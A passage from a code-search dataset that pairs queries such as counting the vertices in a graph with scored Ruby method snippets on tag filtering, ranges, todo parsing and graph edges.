g.groupId }.select {|s| s.start_with? \"#poolparty\"}\n end", "title": "" }, { "docid": "b00314cceadd5d7144795b7dff0898ed", "score": "0.51715976", "text": "def tags(filter=\"tags\")\n taggings = Tagging.where(record_type: self.name, filter: filter).where(filter: filter)\n return Tag.where(id: taggings.select(:tag_id).distinct)\n end", "title": "" }, { "docid": "20d9eace81af97dcb340f3a59fd9aebc", "score": "0.5170852", "text": "def filtered?\n range.exclude? row.human_ref\n end", "title": "" }, { "docid": "3417c160420d2cf2b8515ff1132f44cc", "score": "0.51668423", "text": "def check_range(from=nil, to=nil, filter=[:orderItemTaxRoundingNet, :orderItemTaxRounding])\n \n if from\n from = Date.parse(from).beginning_of_day\n else\n from = Time.now.beginning_of_day\n end\n \n if to\n to = Date.parse(to).end_of_day\n elsif from.nil?\n to = Time.now.end_of_day\n else\n to = from.end_of_day\n end\n \n tests = []\n \n drawers = self.drawers\n drawers.each do |d|\n result = d.check_range(from, to)\n tests << result unless result == []\n end\n \n orders = self.orders.visible.paid.where(:created_at => from..to)\n orders.each do |o|\n result = o.check\n tests << result unless result == []\n end\n \n tests.flatten!\n \n filtered_tests = []\n tests.each do |t|\n if filter.include?(t[:t]) == false\n filtered_tests << t\n end\n end\n \n return filtered_tests.join(\"\\n\")\n end", "title": "" }, { "docid": "9fb3e5f192875dd36dc4186bdd18c4e6", "score": "0.51552296", "text": "def tagfilter(*values)\n values.inject(self) { |res, val| res._tagfilter(val) or fail ArgumentError, \"Unknown value for tagfilter: #{val}\" }\n end", "title": "" }, { "docid": "8368ba393408cd3d234a3b828f6ea654", "score": "0.51488316", "text": "def tags\n @tag_rules\n end", "title": "" }, { "docid": "4659fe75fa8f559e58763054ef91d7b2", "score": "0.5142749", "text": "def list_range(ell, range)\n ell.select{|l| range.include?(l) }.compact\n end", "title": "" }, { "docid": "60d748a318d87749f020b525b0d050cb", "score": "0.5142353", "text": "def filter!; end", "title": "" }, { "docid": "c79458bd247f178537d5bbc21315bde2", "score": "0.51378685", "text": "def range(field, options = {})\n filter(range: { field => options })\n end", "title": "" }, { "docid": "c5048ceadf131e94b21b876b9d05aed7", "score": "0.5134919", "text": "def ignored_ranges(ast)\n return [] unless ast\n\n @ignored_ranges ||= on_node(:pair, ast).map do |pair|\n next if pair.parent.single_line?\n\n key, value = *pair\n key.source_range.end_pos...value.source_range.begin_pos\n end.compact\n end", "title": "" }, { "docid": "cae29c8a88e302d3874e8b2635775098", "score": "0.5132363", "text": "def filtered_taggings options={}\n scope = @taggable_entity.taggings\n if user_id = (options[:user_id] || (options[:user] && options[:user].id))\n scope = scope.where user_id: user_id\n end\n scope = scope.\n joins('INNER JOIN tags ON tags.id = taggings.tag_id').\n where(\"tags.tagtype = #{Tag.typenum(options[:tagtype])}\") if options[:tagtype]\n scope\n end", "title": "" }, { "docid": "c561d9c5e61df6cbb2e4192dd4c685db", "score": "0.5123639", "text": "def filter(params); end", "title": "" }, { "docid": "bf86165fa2e6eca5dd23ff6ebdaa07a7", "score": "0.51044464", "text": "def compose_range_options_node(node, hash)\n fail ClearlyQuery::FilterArgumentError.new(\"range filter must be {'from': 'value', 'to': 'value'} or {'interval': 'value'} got '#{hash}'\") unless hash.is_a?(Hash)\n\n from = hash[:from]\n to = hash[:to]\n interval = hash[:interval]\n\n if !from.blank? && !to.blank? && !interval.blank?\n fail ClearlyQuery::FilterArgumentError.new(\"range filter must use either ('from' and 'to') or ('interval'), not both\", {hash: hash})\n elsif from.blank? && !to.blank?\n fail ClearlyQuery::FilterArgumentError.new(\"range filter missing 'from'\", {hash: hash})\n elsif !from.blank? && to.blank?\n fail ClearlyQuery::FilterArgumentError.new(\"range filter missing 'to'\", {hash: hash})\n elsif !from.blank? && !to.blank?\n compose_range_node(node, from, to)\n elsif !interval.blank?\n compose_range_string_node(node, interval)\n else\n fail ClearlyQuery::FilterArgumentError.new(\"range filter did not contain ('from' and 'to') or ('interval'), got '#{hash}'\", {hash: hash})\n end\n end", "title": "" }, { "docid": "2a435a43da9723b8e053f7b751a96065", "score": "0.5104366", "text": "def tags1\n return projects_tags.where(\"tags_id in (select id from tags where type_tag=?)\",1)\n end", "title": "" }, { "docid": "7229d2e49126d0fe727a3193ddeb7934", "score": "0.51010686", "text": "def filter\n @posts = Post.tagged_with(params[:tag]).by_date if params[:tag]\n @posts = Post.where(\"category_id=?\", params[:category_id]) if params[:category_id]\n @posts = Post.where(\"title like ? OR body like ?\", \"%#{params[:query]}%\", \"%#{params[:query]}%\" ) if params[:query]\n end", "title": "" }, { "docid": "9ac4ced28072b1f311fbe3574633ffd7", "score": "0.5100667", "text": "def get_correct_tags()\n tags.find_all { |t| t.correct }\n end", "title": "" }, { "docid": "310665f6c22b7b46fad575f70d7d97d4", "score": "0.50907785", "text": "def excluded_tags\n query_params&.scan(/[\\-]([a-zA-Z\\d]+\\w)(?=\\s|\\b)/)&.flatten\n end", "title": "" }, { "docid": "9ecb3e21eb0272cf371ebff09e2f402c", "score": "0.5089163", "text": "def tags; end", "title": "" } ]
d3509cc7b1750684a5bb43fb5cf26660
returns the number of vertices in the graph
[ { "docid": "6be13ca39e76564d00f1a28a80c7416a", "score": "0.77106804", "text": "def size\n @vertices.size\n end", "title": "" } ]
[ { "docid": "bffd13109cd2ce714dd9c81352fb819d", "score": "0.8984958", "text": "def vertex_count\n vertices.size\n end", "title": "" }, { "docid": "ab513a263864af1bc7b11f7f7e43100f", "score": "0.89652455", "text": "def vertex_count\n @vertices.size\n end", "title": "" }, { "docid": "054ca90d9cf8c394abc4979c4ea856c6", "score": "0.8884593", "text": "def number_of_vertices\n vertices.length\n end", "title": "" }, { "docid": "0f903204c3f830696546e08622dfa245", "score": "0.87898576", "text": "def nr_of_vertices\n @vertices.size\n end", "title": "" }, { "docid": "c94097b3136b0b83b9e1e3565e7b5a66", "score": "0.8136356", "text": "def size() vertices.size; end", "title": "" }, { "docid": "c159a42b3ec92f031701c0a5efc9edc7", "score": "0.79868853", "text": "def total_vertices\n @list.length\n end", "title": "" }, { "docid": "ec0fbea3002384cb70514b4c72147759", "score": "0.7979348", "text": "def num_vertices\n count = 1\n self.Vertices_Array.each do |vertex|\n count = count.next\n end\n puts \"Total : #{count-1}\"\n end", "title": "" }, { "docid": "1db04f24f48bfdb90d58b597f69cf6e3", "score": "0.79674166", "text": "def size\n vertices.size\n end", "title": "" }, { "docid": "76a4422209e17bf3f363aa3b15f7312d", "score": "0.7770786", "text": "def edge_count() @edges.size end", "title": "" }, { "docid": "96e6f3daa6397c312cc0f3a0ec761634", "score": "0.77531815", "text": "def amount_of_vertices_with_edges\n\n # The number of vertices it's equal to the number of lines where their inner sum is greater than zero\n number_of_vertices = (@matrix.find_all {|line| line.inject(0){|sum, x| sum + x } > 0}).count\n\n end", "title": "" }, { "docid": "20935b1e7876792851c07507ad68595b", "score": "0.7668405", "text": "def nr_of_vertices\n 4\n end", "title": "" }, { "docid": "586ff6d1a358560819257bd897884fa1", "score": "0.7638683", "text": "def count\n edges.size\n end", "title": "" }, { "docid": "57912474e681b0962e12f9aaab345cf5", "score": "0.76077163", "text": "def size\n\t\t@vertices.size\n\tend", "title": "" }, { "docid": "20c65de5ba335e16495e2591a69f24f0", "score": "0.7595591", "text": "def number_of_vertices(matrix)\n # Ignoring the weight element (third element)\n matrix = matrix.collect { |x| [x[0], x[1]] }\n # Merging all the path arrays\n matrix = matrix.zip.flatten.compact\n # All the vertices\n @nodes = matrix.uniq.dup\n # Returning the number of unique elements (vertices)\n matrix.uniq.count\n end", "title": "" }, { "docid": "1ca2376afbf30ab34e509b9adda6b519", "score": "0.7509205", "text": "def num_edges() edges.size; end", "title": "" }, { "docid": "4c2546b8e559b842eef0311ddc1a1d4e", "score": "0.74816036", "text": "def get_num_vertices(file) #obtiene el numero de vertices del archivo\n contenido = File.read(file)\n filas = contenido.split(\"\\n\")\n numVertices = filas.length\n return numVertices\nend", "title": "" }, { "docid": "4f67f0779a985835a0f3b5920f57475a", "score": "0.7418839", "text": "def in_degree(vertex)\n\t\tin_neighbors(vertex).length\n\tend", "title": "" }, { "docid": "c7eee36351e07d7b287791cd73c48f07", "score": "0.73840594", "text": "def edge_count\n @edges.size\n end", "title": "" }, { "docid": "d7236c3eca83d541c7790fad25edf38c", "score": "0.7353285", "text": "def get_num_vertices(file) #obtiene el numero de vertices del archivo\r\n contenido = File.read(file)\r\n filas = contenido.split(\"\\n\")\r\n numVertices = filas.length\r\n return numVertices\r\nend", "title": "" }, { "docid": "8d51376288b2b6ce4280c6a121c49cb8", "score": "0.73043925", "text": "def edge_count\n @loEdges.size\n end", "title": "" }, { "docid": "c98f0e5de50d9904cad4a26dc5f55681", "score": "0.7278084", "text": "def number_of_edges\n @adj.values.flat_map(&:values).map(&:length).inject(:+)\n end", "title": "" }, { "docid": "a1d1e86048a065a3e6a8ae2c0123779f", "score": "0.7244673", "text": "def graph_count\n @hoGraphs.size\n end", "title": "" }, { "docid": "277e5c44ff0441f328497ab1852b8678", "score": "0.7197915", "text": "def number_of_orphans\n @unconnected_vertices.to_a.length\n end", "title": "" }, { "docid": "6cf18f646534d63962546e34675d2fea", "score": "0.71577924", "text": "def number_of_edges\n @adj.values.map(&:length).inject(:+) / 2\n end", "title": "" }, { "docid": "743b0acaa471271a518567bcb60e015b", "score": "0.70807344", "text": "def node_count\n @nodes.length\n end", "title": "" }, { "docid": "43fa471fb7fff2601ac5ef4ec140d642", "score": "0.70719296", "text": "def size\n edges.size\n end", "title": "" }, { "docid": "edb59f13dc6272f279cb128e0530f25e", "score": "0.70439065", "text": "def indegree(v)\n _incoming_nodes(v.id).size\n end", "title": "" }, { "docid": "f3c808185685a4ac607a3f2483ce47dc", "score": "0.7024479", "text": "def number_of_nodes\n @nodes.length\n end", "title": "" }, { "docid": "7a385280788d6c415bf3c97db3b1bcbd", "score": "0.6994569", "text": "def num_nodes\n nodes.size\n end", "title": "" }, { "docid": "88e0bf217746cef12d692a8e0e9dd8d2", "score": "0.6952323", "text": "def in_degree(v)\n rdg = self.reverse\n rdg.adjacent_vertices(v).size\n end", "title": "" }, { "docid": "2c0c38eef1a380cc88422a7c53f20d9d", "score": "0.6933831", "text": "def size\n @edges.length\n end", "title": "" }, { "docid": "9c420b18476eac9f7f36e8f9071afd67", "score": "0.6907956", "text": "def size\n edges.size\n end", "title": "" }, { "docid": "f5841363f8706495022a104b63528db7", "score": "0.6905504", "text": "def node_count\n @hoNodes.size\n end", "title": "" }, { "docid": "f5114abbd8afa88801a654f7e39fd430", "score": "0.6882054", "text": "def out_degree(vertex)\n\t\tif !has_vertex?(vertex)\n\t\t\traise ArgumentError.new('Given vertex does not exist in graph')\n\t\tend\n\t\t@vertices[vertex].size\n\tend", "title": "" }, { "docid": "5295db5ff4095ba0febda900ee1baea7", "score": "0.68301815", "text": "def edge_count\n sum = 0\n adj_table.each_value{|list| sum += list.size}\n sum\n end", "title": "" }, { "docid": "414260c0a786cc613e941f64472dd0c0", "score": "0.6825155", "text": "def nodes_count\n nodes_count = object.nodes.size\n\n nodes_count.is_a?(Enumerable) ? nodes_count.size : nodes_count\n end", "title": "" }, { "docid": "5699bb042eddfce303cb921aa1dc0ad2", "score": "0.68189174", "text": "def num_edges\n count = 1\n self.Edges_Array.each do |edge|\n count = count.next\n end\n puts \"Total : #{count-1}\"\n end", "title": "" }, { "docid": "0a49371af90f11cdb9a995a97d190aa5", "score": "0.6794064", "text": "def no_of_nodes\n @size\n end", "title": "" }, { "docid": "6ade8b12dbe1cce8055294076d31516e", "score": "0.6790819", "text": "def vertices\r\n @edges.keys\r\n end", "title": "" }, { "docid": "5397b96ae8971fa6de8b1965d4a4ebb1", "score": "0.677617", "text": "def edges_size\n @edges.values.map(&:values).flatten.size\n end", "title": "" }, { "docid": "1e3a557570e8062e62e74a864164bdf3", "score": "0.67324376", "text": "def count\n each_graph.to_a.reduce(0) {|memo, g| memo += g.count}\n end", "title": "" }, { "docid": "2173d1f8add43024ddb5b4552a084b8f", "score": "0.6664466", "text": "def size\n @nodes.length\n end", "title": "" }, { "docid": "2173d1f8add43024ddb5b4552a084b8f", "score": "0.6664466", "text": "def size\n @nodes.length\n end", "title": "" }, { "docid": "13163036b15895f06a1405d79d89e65e", "score": "0.6656406", "text": "def size() return @nodes.size; end", "title": "" }, { "docid": "13163036b15895f06a1405d79d89e65e", "score": "0.6656406", "text": "def size() return @nodes.size; end", "title": "" }, { "docid": "c347762cc04377d269897a642bd1c38d", "score": "0.6652145", "text": "def length\n @nodes.length.to_i\n end", "title": "" }, { "docid": "1f633062971af9f2d5d16278d5af2d25", "score": "0.6624062", "text": "def vertices\n vertices_hash.keys\n end", "title": "" }, { "docid": "a3b0e8e91dc1f1738b3e8941cff20f1d", "score": "0.6612873", "text": "def length\n vertex_1.distance_to(vertex_2)\n end", "title": "" }, { "docid": "799931d7f2fe58d29cd85e6940c23a9f", "score": "0.6612035", "text": "def length\n @nodes.length\n end", "title": "" }, { "docid": "5531b275d78455b0197821a8d56a4468", "score": "0.6607073", "text": "def length\n @nodes.length\n end", "title": "" }, { "docid": "5531b275d78455b0197821a8d56a4468", "score": "0.6607073", "text": "def length\n @nodes.length\n end", "title": "" }, { "docid": "408b956bfb8360faf27d243cbc7537ce", "score": "0.65954477", "text": "def number_of_nodes\n node_count(@root)\n end", "title": "" }, { "docid": "c4aca201a3cf48e8a54015342263656e", "score": "0.6589591", "text": "def get_num_nodes\n result @connection.get_num_nodes\n end", "title": "" }, { "docid": "f9143e0d98625397b11eaccacc929a01", "score": "0.658694", "text": "def vertices\n @vertex_dict.keys\n end", "title": "" }, { "docid": "2bbdd9397fab0332755225a3ceea6907", "score": "0.6547758", "text": "def hasVertices?\r\n !@edges.empty?\r\n end", "title": "" }, { "docid": "4ec79108083847c2fd3536516ec8b72b", "score": "0.6546014", "text": "def degree_of(from)\n @adjacents[from].length\n end", "title": "" }, { "docid": "278bdcaf278f73440d4589871b8aec7a", "score": "0.65432405", "text": "def node_count; end", "title": "" }, { "docid": "adb9449583eb27e3a5e7a86dbea991f6", "score": "0.6540257", "text": "def size\n @nodes.size\n end", "title": "" }, { "docid": "adb9449583eb27e3a5e7a86dbea991f6", "score": "0.6540257", "text": "def size\n @nodes.size\n end", "title": "" }, { "docid": "416e3fe8787ccc4582b4ce588a0696da", "score": "0.6535698", "text": "def edges\n 0\n end", "title": "" }, { "docid": "31ad14ffe0f2bcb5bcfb0ab75cba7d3a", "score": "0.6528382", "text": "def vertices() @vertex_dict.keys; end", "title": "" }, { "docid": "a66b04a2152761a2638f427d53a29c28", "score": "0.65262234", "text": "def size\n @nodes.length\n end", "title": "" }, { "docid": "a66b04a2152761a2638f427d53a29c28", "score": "0.65262234", "text": "def size\n @nodes.length\n end", "title": "" }, { "docid": "a66b04a2152761a2638f427d53a29c28", "score": "0.65262234", "text": "def size\n @nodes.length\n end", "title": "" }, { "docid": "a66b04a2152761a2638f427d53a29c28", "score": "0.65262234", "text": "def size\n @nodes.length\n end", "title": "" }, { "docid": "ce9aeffeab2af720a7df03fabd04b65a", "score": "0.6517937", "text": "def degree(v)\n _incident_nodes(v.id).size\n end", "title": "" }, { "docid": "2febb0aee1e6aac62e829491d45ca40a", "score": "0.6516669", "text": "def size\n\t\tcounter = 0\n\t\tself.each_node {|n| counter += 1}\n\t\tcounter\n\tend", "title": "" }, { "docid": "1f891d4c0232b7b7242c16a8bfba759a", "score": "0.6511817", "text": "def size\n\t\t@nodes.length\n\tend", "title": "" }, { "docid": "70975c8c5a5330a1263137d974a9b02a", "score": "0.65076536", "text": "def order\n @vertex_degrees.length\n end", "title": "" }, { "docid": "c1fd69cd93c594b57ad99361250a07ad", "score": "0.6504854", "text": "def size()\n\t\t@visited.size\n\tend", "title": "" }, { "docid": "e07ff96509c60cc34fb0066334708cef", "score": "0.6504036", "text": "def vertices\n\t\t@vertices.keys\n\tend", "title": "" }, { "docid": "24d30424ffb4fb54d481a760281332e0", "score": "0.65037566", "text": "def edges\n\t\treturn @edgecount\n\tend", "title": "" }, { "docid": "94649133553c4e851f3e582570e3b942", "score": "0.64993227", "text": "def size\n @nodes.size\n end", "title": "" }, { "docid": "8166d98786fb0fa469dd960a960a8ea3", "score": "0.64803123", "text": "def length\n return @nodes.length\n end", "title": "" }, { "docid": "bde71dd0f2d3f9b2011c070e2ccfaff2", "score": "0.64744204", "text": "def vertices\n @vertices\n end", "title": "" }, { "docid": "65e640ac223a5f8c3fc6b336cbb74482", "score": "0.64698446", "text": "def in_degree(vertex)\n end", "title": "" }, { "docid": "1d3d57e29124db6c07f02eea0de3d7d2", "score": "0.64572185", "text": "def out_degree(v)\n @adjacencies[v].size\n end", "title": "" }, { "docid": "756c2c599e78e52c8b0e6fa795bedf6e", "score": "0.6452757", "text": "def count_incoming_edges(label)\n\n count = 0\n if @graph.has_key?(label)\n # for each vertex object in the graph Hash, if the label is present in the edges\n #increase the count\n @graph.each_value do |vertex_object|\n if not vertex_object.edges.empty?\n if vertex_object.edges.has_key?(label)\n count+=1\n end\n end\n end\n end\n\n return count\n\n end", "title": "" }, { "docid": "f055d70008c4ec5909425f045daca437", "score": "0.64452183", "text": "def number_of_nodes\n @cluster.number_of_nodes\n end", "title": "" }, { "docid": "bbb87e409c208484e77a64e7bc0ba788", "score": "0.64244044", "text": "def total_nodes\n @matrix.length\n end", "title": "" }, { "docid": "8e5359464b6a6ba657186a0050b2f58d", "score": "0.63945127", "text": "def count\n result = 0\n traverse_preorder do |level, node|\n result += 1\n end\n result\n end", "title": "" }, { "docid": "ae73a82b352f11f9d48125bce9b2c98a", "score": "0.6388808", "text": "def num_nodes\n node_count = 1\n @children.each {|p, t| node_count += t.num_nodes }\n node_count\n end", "title": "" }, { "docid": "b7888952108b786935851783291e7b11", "score": "0.6373297", "text": "def vertices\n end", "title": "" }, { "docid": "b7888952108b786935851783291e7b11", "score": "0.6373297", "text": "def vertices\n end", "title": "" }, { "docid": "b7888952108b786935851783291e7b11", "score": "0.6373297", "text": "def vertices\n end", "title": "" }, { "docid": "b7888952108b786935851783291e7b11", "score": "0.6373297", "text": "def vertices\n end", "title": "" }, { "docid": "96e665557cddd846ba6ba93393f3dfdf", "score": "0.6362861", "text": "def vertices\n @vertices ||= edges.inject([]) {|a, pair| a.concat pair.to_a }.uniq\n end", "title": "" }, { "docid": "10c60110e3b6c112247bffcd95445d68", "score": "0.6361213", "text": "def vertices\n @vertices\n end", "title": "" }, { "docid": "10c60110e3b6c112247bffcd95445d68", "score": "0.6361213", "text": "def vertices\n @vertices\n end", "title": "" }, { "docid": "f3126fd5141ba821a64ec64d4a6766e3", "score": "0.6342461", "text": "def count\n @data.query({graph_name: graph_name || false}).count\n end", "title": "" }, { "docid": "506d37ec531345da8a5f80c4de2da4d1", "score": "0.63308954", "text": "def edges\n 1 + @edges.edges\n end", "title": "" }, { "docid": "b1f15664dfb9938212265032d4d23c66", "score": "0.6311149", "text": "def get_actual_node_count\r\n\r\n #nodes_by_css_class_count = LynxAutoHelper.get_browser_instance.elements(:css => 'vertex').count\r\n nodes_by_css_class_count = LynxAutoHelper.get_browser_instance.elements(:css => 'g.vertex').count\r\n\r\n puts \"nodes_by_css_class_count: #{nodes_by_css_class_count}\"\r\n\r\n nodes_by_css_class_count\r\n\r\n end", "title": "" }, { "docid": "d390d4e2ada6009abb472534f52c551c", "score": "0.62986", "text": "def count\n count = nodes_to_strings.split.length\n end", "title": "" }, { "docid": "dc472a79f13118c1f918114d8fc780d2", "score": "0.62921035", "text": "def num_nodes\n tree.length\n end", "title": "" }, { "docid": "040e7e9efa8f2a306b7937d63aef34f9", "score": "0.62777483", "text": "def size\n @total_nodes\n end", "title": "" }, { "docid": "c9b7336e73b857332dd04cc31febf22b", "score": "0.6252284", "text": "def vertices\n @in_to.keys\n end", "title": "" }, { "docid": "b1a3b464dbfa06fba53f00af0c262d4e", "score": "0.6246044", "text": "def length(u, v, graph)\n if !neighbour?(u, v)\n return \n end\n return graph[u[0]][u[1]] + graph[v[0]][v[1]]\nend", "title": "" }, { "docid": "5dafc5684959a4c64a095a81960284dd", "score": "0.6243777", "text": "def sub_node_count\n sub_nodes.size\n end", "title": "" }, { "docid": "1255ee5a9eb5eda22ad904be8e72fe2b", "score": "0.6243119", "text": "def virginVertexExists(vertices, numVerts)\n $i = 0\n \n while $i < numVerts\n if !vertices[$i].touched\n return $i\n end\n $i = $i + 1\n end\n \n return -1\n end", "title": "" }, { "docid": "f1ccad80e886cd21596a57e694e704fd", "score": "0.6241581", "text": "def vertices()\n return @vertices\n end", "title": "" } ]
ac47ebe23dfce07ec244cee4c709eb23
Parse directory for todo items.
[ { "docid": "c8bf9a85085efb9c253e8ccc8554e866", "score": "0.5595213", "text": "def parse_dir(dir)\n Dir[\"#{dir == '.' ? '.' : dir}/**/*\"].each do |file|\n parse_file(file) if File.file?(file)\n end\n end", "title": "" } ]
[ { "docid": "53757340ad5aadd85531a9fd4fcedc16", "score": "0.64303666", "text": "def parse_todo\n return unless todo_comment?\n\n list_obj = @kram_obj.detect {|obj| obj.type == :ul }.children\n # list_obj.first.children[0].children[0].value.chomp\n list_obj.each do |obj|\n title = \"##{@pbi_num} #{remove_checkbox(obj.children[0].children[0].value).chomp}\"\n body = parse_body(obj)\n end\n # todos = []\n # @lines.each do |line|\n # if line.match(TODO_REGEX)\n # todos << $1\n # end\n # end\n # todos\n end", "title": "" }, { "docid": "3f84aba5e6410ff78d8c3649dd42356a", "score": "0.63728416", "text": "def parse\n\n Dir.glob(\"#{@dir_path}/*.{tif,tiff,TIF,TIFF,jpg,jpeg,JPG,JPEG}\") do |master_file_name|\n\n # Attempt to construct the Item using the file path alone\n add :item => Item.new( self, file_path: File.join( @dir_path, master_file_name ) )\n end\n end", "title": "" }, { "docid": "0682a23c6ce4d19878bf701ba5f9e485", "score": "0.60062176", "text": "def open_list \n # items are stored in the ~/.todo file\n @file = File.expand_path('.') + '/.todo'\n\n # read saved list data\n if File.exist?(@file)\n json = IO.read(@file)\n @items = Items.new(json)\n else\n @items = Items.new()\n end\n end", "title": "" }, { "docid": "29265b8fa8bd9323ba3322d26922f6d1", "score": "0.58625317", "text": "def parse_directory_listing(text)\n contents = []\n text.lines.each do |line|\n line.chomp!\n value = nil\n if line.length > 2 && line[1] == ' '\n name = line[2..-1]\n type = line[0]\n if type == 'd'\n value = \"#{name}/\"\n elsif type == '-'\n if !name.end_with?('/')\n value = name\n end\n end\n end\n if !value\n die \"Problem parsing directory listing line; '#{line}'\"\n end\n contents << value\n end\n contents\n end", "title": "" }, { "docid": "ace383cda746771ba731425faf2111d0", "score": "0.5830257", "text": "def find_todos\n raise ERR_PATH_DOESNT_EXIST + @dir_path unless File.exist?(@dir_path)\n raise ERR_PATH_NOT_DIR + @dir_path unless File.directory?(@dir_path)\n\n Finder.find_todos_in_dir(@dir_path)\n end", "title": "" }, { "docid": "f9ac750c7c14acbf268b779624f4e7d5", "score": "0.5810702", "text": "def parse_file(filepath)\n File.open(filepath) do |file|\n items = []\n linenumber = 0\n file.each_line do |line|\n linenumber += 1\n if summary = ToDo.extract_summary(line)\n context = ToDo.extract_context(linenumber, file)\n item = ToDo.new(linenumber, summary, context)\n @total += 1\n items << item.to_s\n end\n end\n puts \"\\n\" + filepath unless items.empty? || @total_only == true\n items.each{ |item| puts item } unless @total_only == true\n end\n end", "title": "" }, { "docid": "2ad7e6381ff6058b50371e80555b36c4", "score": "0.5772798", "text": "def read(item)\n\t\tif File.directory?(item) \n\t\t\tDir.foreach(item) do |nxt|\n\t\t\t\tnext if nxt == '.' or nxt == '..'\n\t\t\t\tread(\"#{item}/#{nxt}\")\n\t\t\tend\n\t\telse\n\t\t\tread_one(item)\n\t\tend\n\tend", "title": "" }, { "docid": "4b8398d438c581fdffb7a0cba6028090", "score": "0.576433", "text": "def read_from_file\n File.readlines('todolist.txt').each do |line|\n add_item(line.chop)\n end\n end", "title": "" }, { "docid": "6fcb59036cd66b0336345d1f66879ce5", "score": "0.5734538", "text": "def parse_directory(dir)\n files = []\n Find.find(dir) do |path|\n Find.prune if File.directory?(path) && File.basename(path)[0] == '.'\n files << path if File.extname(path) == ASCII_DOC_EXT\n end\n files.sort!\n parse_files(files)\n end", "title": "" }, { "docid": "4563eb0a0a8aaafc68567d27853e0cdd", "score": "0.5727991", "text": "def generate_list\n File.open(@filename, 'r') do |f|\n f.lineno = 1\n f.each do |line|\n todo_arr = line.squeeze(' ').split('|')\n puts todo_arr\n todo = Item.new(todo_arr[1], :completed => todo_arr[2], :created_at => todo_arr[3])\n @todos << todo\n puts @todos.inspect\n end\n end\n end", "title": "" }, { "docid": "3f55e93fc88fc75ed61bab4b9eafc965", "score": "0.5724511", "text": "def parse_file(filepath)\n File.open(filepath) do |file|\n items = []\n file.each_line do |line|\n matches = line.match /(?:#|\\/\\/|\\/\\*|@)[\\s]*todo:?[\\s]*(.+)$/i\n items << matches[1] unless matches.nil? || matches.length <= 0\n @total += 1 unless matches.nil? || matches.length <= 0\n end\n puts \"\\n\" + filepath unless items.empty? || @total_only == true\n items.each{ |item| puts \" - #{item}\" } unless @total_only == true\n end\n end", "title": "" }, { "docid": "ba861a29531ef91af9d915224a5b6103", "score": "0.5694921", "text": "def import_items_data\n validate_items_data_path\n\n Dir[\"#{@known_items_dir_path}/*.txt\"].each do |file|\n item_data = File.read(file).strip\n @items << Item.new(item_data.split(/\\n/))\n end\n end", "title": "" }, { "docid": "62c046866d0b69a39354b32af9382fba", "score": "0.5677741", "text": "def parse_input\n directory_path = FILES_FOLDER_BASE_URL + @directory if @directory\n if (directory_path && File.exist?(directory_path))\n get_files_from_(directory_path)\n else\n raise \"Wrong directory name: #{@directory}, Please use the existing directory name\"\n end\n end", "title": "" }, { "docid": "1e0c15b5861da4cada866c4509c9f53a", "score": "0.5669721", "text": "def parse_menu(items)\n # Check that items is an array\n return unless items.is_a? Array\n\n # Parse each item in the list\n for item in items\n\n if item[:files]\n # If it's a list of files, parse recursively\n parse_menu(item[:files])\n elsif item[:file]\n output = \"#{item[:file]}.html\"\n\n # Add the file to the list of output files.\n @manager.add_file item[:file], output\n\n # Set the output path of the item\n item[:output] = output\n end\n end\n end", "title": "" }, { "docid": "594b226e5d20810c8f4db42520b7491c", "score": "0.5543413", "text": "def parse_items(results)\n return [] if results['entries'].empty?\n results['entries'].reduce([]) do |entries, entry|\n entries << case entry['type']\n when 'file' then Box::File.new(self, entry)\n when 'folder' then Box::Folder.new(self, entry)\n end\n entries\n end\n end", "title": "" }, { "docid": "22b13266f46ca2dc7cc0758965015f89", "score": "0.55125725", "text": "def parse\n fail \"Todo not assigned to a user, can't parse\" unless user\n fail '#parse meant to be run after save' if new_record?\n\n match_data = PROJECT_REGEXP.match(description)\n if match_data\n name = match_data[1]\n project_exists = Project.where(name: name, user_id: user.id)\n if project_exists.blank?\n project = Project.new(name: name)\n project.user = user\n project.save!\n else\n project = project_exists.first\n end\n self.project = project\n else\n self.project = nil\n end\n\n self.todo_contexts = []\n match_data = description.scan(CONTEXT_REGEXP)\n if match_data\n match_data.each do |match|\n name = match[0]\n context_exists = TodoContext.where(name: name, user_id: user.id)\n if context_exists.blank?\n context = TodoContext.new(name: name)\n context.user = user\n context.save!\n else\n context = context_exists.first\n end\n todo_contexts << context\n end\n end\n\n self.tags = []\n match_data = description.scan(TAG_REGEXP)\n if match_data\n match_data.each do |match|\n name = match[0]\n tag_exists = Tag.where(name: name, user_id: user.id)\n if tag_exists.blank?\n tag = Tag.new(name: name)\n tag.user = user\n tag.save!\n else\n tag = tag_exists.first\n end\n tags << tag\n end\n end\n\n save!\n end", "title": "" }, { "docid": "40d965c7562bad5933d9277cc34d7bff", "score": "0.5462689", "text": "def parse_artist(artist_dir)\n artist_name = File.basename(artist_dir)\n albums = Dir.entries(artist_dir).reject{|a| a.match /^\\./}\n albums.each do |album_title|\n if File.directory?(File.join(artist_dir, album_title))\n parse_album(File.join(artist_dir, album_title), artist_name, album_title)\n end\n end\n end", "title": "" }, { "docid": "0b47891c4d87995e5dc0d7af2f8f2976", "score": "0.5457301", "text": "def parse\n unless user\n raise \"Todo not assigned to a user, can't parse\"\n end\n\n if new_record?\n raise \"#parse meant to be run after save\"\n end\n\n if match_data = self::project_regexp.match(description)\n name = match_data[1]\n project_exists = Project.where({:name => name, :user_id => user.id})\n unless project_exists.empty?\n project = project_exists.first\n else\n project = Project.new({:name => name})\n project.user = user\n project.save\n end\n self.project = project\n else\n self.project = nil\n end\n\n self.todo_contexts = []\n if match_data = description.scan(self::context_regexp)\n match_data.each do |match|\n name = match[0]\n context_exists = TodoContext.where({:name => name, :user_id => user.id})\n unless context_exists.empty?\n context = context_exists.first\n else\n context = TodoContext.new({:name => name})\n context.user = user\n context.save\n end\n self.todo_contexts << context\n end\n end\n\n self.tags = []\n if match_data = description.scan(self::tag_regexp)\n match_data.each do |match|\n name = match[0]\n tag_exists = Tag.where({:name => name, :user_id => user.id})\n unless tag_exists.empty?\n tag = tag_exists.first\n else\n tag = Tag.new({:name => name})\n tag.user = user\n tag.save\n end\n self.tags << tag\n end\n end\n\n self.save\n end", "title": "" }, { "docid": "0d3f286a4c4e7c3e0bde2768bdbe5c7d", "score": "0.5438116", "text": "def parse_dir(dir)\n _root, team = dir.split_path\n { team: team }\n end", "title": "" }, { "docid": "9caf5458654a90be6a511f9cb37b9060", "score": "0.53732044", "text": "def parse_folder(directory, folder, first = false)\n # Unify to Unix file separators\n directory.tr!('\\\\', '/')\n\n # Get last part of the path\n directory =~ %r{.*/(.*?)$}\n folder.name = first ? '' : Regexp.last_match(1)\n\n # Check for properties\n if File.exist?(\"#{directory}/folder.properties\")\n props = Parsing::PropertiesReader.new(\"#{directory}/folder.properties\")\n folder.title = 